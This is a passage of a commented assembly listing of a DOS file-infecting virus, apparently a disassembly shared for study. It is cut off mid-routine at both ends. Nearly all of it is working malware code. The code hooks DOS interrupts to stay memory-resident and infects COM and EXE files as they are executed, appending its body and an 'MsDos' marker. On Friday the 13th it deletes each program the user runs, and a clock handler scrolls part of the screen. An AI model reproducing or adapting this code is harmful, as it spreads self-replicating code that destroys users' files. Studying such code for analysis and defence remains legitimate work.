   MOV  ES,CS:[A0031]       ;
   INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
                       ;
   MOV  AX,3521             ;
   INT  21H            ;GET VECTOR
   MOV  CS:[OLD_21],BX      ;
   MOV  CS:[OLD_21+2],ES    ;
                       ;
   PUSH CS             ;0181     0E
   POP  DS             ;0182     1F
   MOV  DX,offset NEW_INT_21     ;0183     BA5B02
   MOV  AX,2521             ;
   INT  21H            ;SAVE VECTOR
                       ;
   MOV  ES,[A0031]          ;018B     8E063100
   MOV  ES,ES:[A002C]       ;018F     268E062C00
   XOR  DI,DI               ;0194     33FF
   MOV  CX,7FFFH       ;0196     B9FF7F
   XOR  AL,AL               ;0199     32C0
   REPNE     SCASB               ;019C     AE
   CMP  ES:[DI],AL          ;019D     263805
   LOOPNZ    019B           ;01A0     E0F9
   MOV  DX,DI               ;01A2     8BD7
   ADD  DX,+03              ;01A4     83C203
   MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
   PUSH ES             ;
   POP  DS             ;
   PUSH CS             ;
   POP  ES             ;
   MOV  BX,35H              ;
                       ;
   PUSH DS        ;01B1     ;
   PUSH ES             ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH CX             ;
   PUSH DX             ;
                       ;
   MOV  AH,2AH              ;
   INT  21H            ;GET DATE
                       ;
   MOV  Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
                       ;
   CMP  CX,1987             ;IF 1987...
   JE   L01F7               ;...JUMP
   CMP  AL,5           ;IF NOT FRIDAY...
   JNE  L01D8               ;...JUMP
   CMP  DL,0DH              ;IF DATE IS NOT THE 13th...
   JNE  L01D8               ;...JUMP
   INC  Byte ptr CS:[TIME_BOMB]  ;TIC THE BOMB COUNT
   JMP  L01F7               ;
                       ;
L01D8:   MOV  AX,3508H       ;GET CLOCK TIMER VECTOR
   INT  21H            ;GET VECTOR
   MOV  CS:[OLD_08],BX      ;
   MOV  CS:[OLD_08],ES      ;
                       ;
   PUSH CS             ;DS=CS
   POP  DS             ;
                       ;
   MOV  Word ptr [A_FLAG],7E90H  ;
                       ;
   MOV  AX,2508H       ;SET NEW CLOCK TIC HANDLER
   MOV  DX,offset NEW_08    ;
   INT  21H            ;SET VECTOR
                       ;
L01F7:   POP  DX             ;
   POP  CX             ;
   POP  BX             ;
   POP  AX             ;
   POP  ES             ;
   POP  DS             ;
   PUSHF                    ;
   CALL far CS:[OLD_21]     ;
   PUSH DS             ;
   POP  ES             ;
                       ;
   MOV  AH,49H              ;
   INT  21H            ;FREE ALLOCATED MEMORY
                       ;
   MOV  AH,4DH              ;
   INT  21H            ;GET RETURN CODE OF A SUBPROCESS
                       ;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT     ;
;---------------------------------------;
   MOV  AH,31H              ;
   MOV  DX,0600H  ;020F     ;
   MOV  CL,04               ;
   SHR  DX,CL               ;
   ADD  DX,10H              ;
   INT  21H            ;TERMINATE AND REMAIN RESIDENT
                       ;
;---------------------------------------;
NEW_24:  XOR  AL,AL          ;021B     ;CRITICAL ERROR HANDLER
   IRET                ;
                       ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER                     ;
;-----------------------------------------------------------------------;
NEW_08:  CMP  Word ptr CS:[A_FLAG],2   ;021E
   JNE  N08_10              ;IF ... JUMP
                       ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH CX             ;
   PUSH DX             ;
   PUSH BP             ;
   MOV  AX,0602H       ;SCROLL UP TWO LINES
   MOV  BH,87H              ;INVERSE VIDEO ATTRIBUTE
   MOV  CX,0505H       ;UPPER LEFT CORNER
   MOV  DX,1010H       ;LOWER RIGHT CORNER
   INT  10H            ;
   POP  BP             ;
   POP  DX             ;
   POP  CX             ;
   POP  BX             ;
   POP  AX             ;
                       ;
N08_10:  DEC  Word ptr CS:[A_FLAG]     ;ASSURE THAT THIS ONLY HAPPENS ONCE
   JNZ  N08_90              ;   BY RESETTING TO 1 IF EQUAL TO ZERO
   MOV  Word ptr CS:[A_FLAG],1   ;
                       ;
   PUSH AX             ;????? IS THIS SOME KIND OF DELAY ?????
   PUSH CX             ;*** COMMENTS SOLICITED ****
   PUSH SI             ;
   MOV  CX,4001H       ;
   REP  LODSB               ;
   POP  SI             ;
   POP  CX             ;
   POP  AX             ;
                       ;
N08_90:  JMP  far CS:[OLD_08]          ;PASS CONTROL TO OLD INT 08 VECTOR
                       ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER                            ;
;-----------------------------------------------------------------------;
NEW_21:  PUSHF               ;025B     ;
   CMP  AH,0E0H             ;IF A E0 REQUEST...
   JNE  N21_10              ;
   MOV  AX,300H             ;...RETURN AX = 300H
   POPF                ;   (OUR PUSHF)
   IRET                ;
                       ;
N21_10:  CMP  AH,0DDH        ;0266     ;
   JE   N21_30              ;IF DDH...JUMP TO _30
   CMP  AH,0DEH             ;
   JE   N21_40              ;IF DEH...JUMP TO _40
   CMP  AX,4B00H       ;IF SPAWN A PROG...
   JNE  N21_20              ;
   JMP  N21_50              ;...JUMP TO _50
                       ;
N21_20:  POPF                ;   (OUR PUSHF)
   JMP  far CS:[OLD_21]          ;ANY OTHER INT 21 GOES TO OLD VECTOR
                       ;
N21_30:  POP  AX             ;REMOVE OUR (PUSHF)
   POP  AX             ;?
   MOV  AX,100H             ;
   MOV  CS:[000A],AX        ;
   POP  AX             ;
   MOV  CS:[000C],AX        ;
   REP  MOVSB               ;
   POPF                ;   (OUR PUSHF)
   MOV  AX,CS:[000F]        ;
   JMP  far CS:[000A]       ;
                       ;
N21_40:  ADD  SP,+06         ;0298     ;
   POPF                ;   (OUR PUSHF)
   MOV  AX,CS               ;
   MOV  SS,AX               ;
   MOV  SP,710H             ;SIZE OF VIRUS CODE
   PUSH ES             ;
   PUSH ES             ;02A4     06
   XOR  DI,DI               ;02A5     33FF
   PUSH CS             ;02A7     0E
   POP  ES             ;02A8     07
   MOV  CX,0010             ;02A9     B91000
   MOV  SI,BX               ;02AC     8BF3
   MOV  DI,0021             ;02AE     BF2100
   REP  MOVSB               ;02B2     A4
   MOV  AX,DS               ;02B3     8CD8
   MOV  ES,AX               ;02B5     8EC0
   MUL  Word ptr CS:[A007A] ;02B7     2EF7267A00
   ADD  AX,CS:[002B]        ;02BC     2E03062B00
   ADC  DX,+00              ;02C1     83D200
   DIV  Word ptr CS:[A007A] ;02C4     2EF7367A00
   MOV  DS,AX               ;02C9     8ED8
   MOV  SI,DX               ;02CB     8BF2
   MOV  DI,DX               ;02CD     8BFA
   MOV  BP,ES               ;02CF     8CC5
   MOV  BX,CS:[002F]        ;02D1     2E8B1E2F00
   OR   BX,BX               ;02D6     0BDB
   JE   02ED           ;02D8     7413
   MOV  CX,8000             ;02DA     B90080
   REP  MOVSW               ;02DE     A5
   ADD  AX,1000             ;02DF     050010
   ADD  BP,1000             ;02E2     81C50010
   MOV  DS,AX               ;02E6     8ED8
   MOV  ES,BP               ;02E8     8EC5
   DEC  BX             ;02EA     4B
   JNE  02DA           ;02EB     75ED
   MOV  CX,CS:[002D]        ;02ED     2E8B0E2D00
   REP  MOVSB               ;02F3     A4
   POP  AX             ;02F4     58
   PUSH AX             ;02F5     50
   ADD  AX,0010             ;02F6     051000
   ADD  CS:[0029],AX        ;02F9     2E01062900
   ADD  CS:[0025],AX        ;02FE     2E01062500
   MOV  AX,CS:[0021]        ;0303     2EA12100
   POP  DS             ;0307     1F
   POP  ES             ;0308     07
   MOV  SS,CS:[0029]        ;0309     2E8E162900
   MOV  SP,CS:[0027]        ;030E     2E8B262700
   JMP  far CS:[0023]       ;0313     2EFF2E2300
                       ;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE...   ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A:  XOR  CX,CX               ;
   MOV  AX,4301H       ;
   INT  21H            ;CHANGE FILE MODE (ATT=0)
                       ;
   MOV  AH,41H              ;
   INT  21H            ;DELETE A FILE
                       ;
   MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
   POPF                ;   (OUR PUSHF)
   JMP  far CS:[OLD_21]          ;
                       ;
;---------------------------------------;
; START INFECTION            ;
;---------------------------------------;
N21_50:  CMP  Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
   JE   N21_5A              ;...JUMP
                       ;
   MOV  Word ptr CS:[HANDLE],-1  ;ASSUME NOT OPEN
   MOV  Word ptr CS:[A008F],0    ;
   MOV  word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
   MOV  word ptr CS:[HOST_NAME+2],DS ;
                       ;
;INFECTION PROCESS OCCURS HERE    ;
   PUSH AX             ;034C     50
   PUSH BX             ;034D     53
   PUSH CX             ;034E     51
   PUSH DX             ;034F     52
   PUSH SI             ;0350     56
   PUSH DI             ;0351     57
   PUSH DS             ;0352     1E
   PUSH ES             ;0353     06
   CLD                 ;0354     FC
   MOV  DI,DX               ;0355     8BFA
   XOR  DL,DL               ;0357     32D2
   CMP  Byte ptr [DI+01],3A ;0359     807D013A
   JNE  L0364               ;035D     7505
   MOV  DL,[DI]             ;035F     8A15
   AND  DL,1F               ;0361     80E21F
                       ;
L0364:   MOV  AH,36               ;
   INT  21H            ;GET DISK FREE SPACE
   CMP  AX,-1               ;0368     3DFFFF
   JNE  L0370               ;036B     7503
L036D:   JMP  I_90           ;036D     E97702
                       ;
L0370:   MUL  BX             ;0370     F7E3
   MUL  CX             ;0372     F7E1
   OR   DX,DX               ;0374     0BD2
   JNE  L037D               ;0376     7505
   CMP  AX,710H             ;0378     3D1007
   JC   L036D               ;037B     72F0
L037D:   MOV  DX,word ptr CS:[HOST_NAME]
   PUSH DS             ;0382     1E
   POP  ES             ;0383     07
   XOR  AL,AL               ;0384     32C0
   MOV  CX,41               ;0386     B94100
   REPNE     SCASB               ;038A     AE
   MOV  SI,word ptr CS:[HOST_NAME]
L0390:   MOV  AL,[SI]             ;0390     8A04
   OR   AL,AL               ;0392     0AC0
   JE   L03A4               ;0394     740E
   CMP  AL,61               ;0396     3C61
   JC   L03A1               ;0398     7207
   CMP  AL,7A               ;039A     3C7A
   JA   L03A1               ;039C     7703
   SUB  Byte ptr [SI],20    ;039E     802C20
L03A1:   INC  SI             ;03A1     46
   JMP  L0390               ;03A2     EBEC
                       ;
L03A4:   MOV  CX,000B             ;03A4     B90B00
   SUB  SI,CX               ;03A7     2BF1
   MOV  DI,offset COMMAND_COM    ;03A9     BF8400
   PUSH CS             ;03AC     0E
   POP  ES             ;03AD     07
   MOV  CX,000B             ;03AE     B90B00
   REPE CMPSB               ;03B2     A6
   JNE  L03B8               ;03B3     7503
   JMP  I_90           ;03B5     E92F02
                       ;
L03B8:   MOV  AX,4300H       ;
   INT  21H            ;CHANGE FILE MODE
   JC   L03C4               ;03BD     7205
                       ;
   MOV  CS:[HOST_ATT],CX    ;03BF     ;
L03C4:   JC   L03EB               ;03C4     7225
   XOR  AL,AL               ;03C6     32C0
   MOV  CS:[A004E],AL       ;03C8     2EA24E00
   PUSH DS             ;03CC     1E
   POP  ES             ;03CD     07
   MOV  DI,DX               ;03CE     8BFA
   MOV  CX,41               ;03D0     B94100
   REPNZ     SCASB               ;03D4     AE
   CMP  Byte ptr [DI-02],4D ;03D5     807DFE4D
   JE   L03E6               ;03D9     740B
   CMP  Byte ptr [DI-02],6D ;03DB     807DFE6D
   JE   L03E6               ;03DF     7405
   INC  Byte ptr CS:[A004E] ;03E1     2EFE064E00
                       ;
L03E6:   MOV  AX,3D00H       ;
   INT  21H            ;OPEN FILE READ ONLY
L03EB:   JC   L0447               ;
   MOV  CS:[HANDLE],AX ;03ED     ;
                       ;
   MOV  BX,AX               ;MOVE TO END OF FILE -5
   MOV  AX,4202             ;
   MOV  CX,-1               ;FFFFFFFB
   MOV  DX,-5               ;
   INT  21H            ;MOVE FILE POINTER
   JC   L03EB               ;
                       ;
   ADD  AX,5      ;0400     ;
   MOV  CS:[A0011],AX       ;?SAVE HOST SIZE
                       ;
   MOV  CX,5      ;0407     ;READ LAST 5 BYTES OF HOST
   MOV  DX,offset A006B          ;
   MOV  AX,CS               ;
   MOV  DS,AX               ;
   MOV  ES,AX               ;
   MOV  AH,3FH              ;
   INT  21H            ;READ FROM A FILE
                       ;
   MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
   MOV  SI,offset MS_DOS    ;
   REPE CMPSB               ;
   JNE  L0427               ;
   MOV  AH,3E               ;IF == 'MsDos'...
   INT  21H            ;CLOSE FILE
   JMP  I_90           ;...PASS CONTROL TO DOS
                       ;
L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
   INT  21H            ;GET VECTOR
   MOV  [OLD_24],BX         ;
   MOV  [OLD_24+2],ES       ;
                       ;
   MOV  DX,offset NEW_24    ;
   MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
   INT  21H            ;SET VECTOR
                       ;
   LDS  DX,dword ptr [HOST_NAME];
   XOR  CX,CX               ;
   MOV  AX,4301H       ;
   INT  21H            ;CHANGE FILE MODE
L0447:   JC   L0484               ;
                       ;
   MOV  BX,CS:[HANDLE]      ;
   MOV  AH,3E               ;
   INT  21H            ;CLOSE FILE
                       ;
   MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
                       ;
   MOV  AX,3D02             ;
   INT  21H            ;OPEN FILE R/W
   JC   L0484               ;
                       ;
   MOV  CS:[HANDLE],AX      ;0460     2EA37000
   MOV  AX,CS               ;0464     8CC8
   MOV  DS,AX               ;0466     8ED8
   MOV  ES,AX               ;0468     8EC0
   MOV  BX,[HANDLE]         ;046A     8B1E7000
   MOV  AX,5700             ;046E     B80057
   INT  21H            ;GET/SET FILE DATE TIME
                       ;
   MOV  [HOST_DATE],DX      ;0473     89167400
   MOV  [HOST_TIME],CX      ;0477     890E7600
   MOV  AX,4200             ;047B     B80042
   XOR  CX,CX               ;047E     33C9
   MOV  DX,CX               ;0480     8BD1
   INT  21H            ;MOVE FILE POINTER
L0484:   JC   L04C3               ;0484     723D
                       ;
   CMP  Byte ptr [A004E],00 ;0486     803E4E0000
   JE   L0490               ;048B     7403
   JMP  L04E6               ;048D     EB57
                       ;
   NOP                 ;048F     90
L0490:   MOV  BX,1000             ;0490     BB0010
   MOV  AH,48               ;0493     B448
   INT  21H            ;ALLOCATE MEMORY
   JNC  L04A4               ;0497     730B
                       ;
   MOV  AH,3E               ;0499     B43E
   MOV  BX,[HANDLE]         ;049B     8B1E7000
   INT  21H            ;CLOSE FILE (OBVIOUSLY)
   JMP  I_90           ;04A1     E94301
                       ;
L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
   MOV  ES,AX               ;04A8     8EC0
   XOR  SI,SI               ;04AA     33F6
   MOV  DI,SI               ;04AC     8BFE
   MOV  CX,710H             ;04AE     B91007
   REP  MOVSB               ;04B2     A4
   MOV  DX,DI               ;04B3     8BD7
   MOV  CX,[A0011]          ;?GET HOST SIZE - YES
   MOV  BX,[70H]       ;04B9     8B1E7000
   PUSH ES             ;04BD     06
   POP  DS             ;04BE     1F
   MOV  AH,3FH              ;04BF     B43F
   INT  21H            ;READ FROM A FILE
L04C3:   JC   L04E1               ;04C3     721C
                       ;
   ADD  DI,CX               ;04C5     03F9
                       ;
   XOR  CX,CX               ;POINT TO BEGINNING OF FILE
   MOV  DX,CX               ;
   MOV  AX,4200H       ;
   INT  21H            ;MOVE FILE POINTER
                       ;
   MOV  SI,offset MS_DOS    ;04D0     BE0500
   MOV  CX,5           ;04D3     B90500
   REP  CS:MOVSB       ;04D7     2EA4
   MOV  CX,DI               ;04D9     8BCF
   XOR  DX,DX               ;04DB     33D2
   MOV  AH,40H              ;
   INT  21H            ;WRITE TO A FILE
L04E1:   JC   L04F0               ;
   JMP  L05A2               ;
                       ;
;---------------------------------------;
; READ EXE HEADER            ;
;---------------------------------------;
L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
   MOV  DX,offset EXE_HDR   ;
   MOV  AH,3F               ;
   INT  21H            ;READ FILE
   JC   L053C               ;
                       ;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT    ;
;---------------------------------------;
   MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S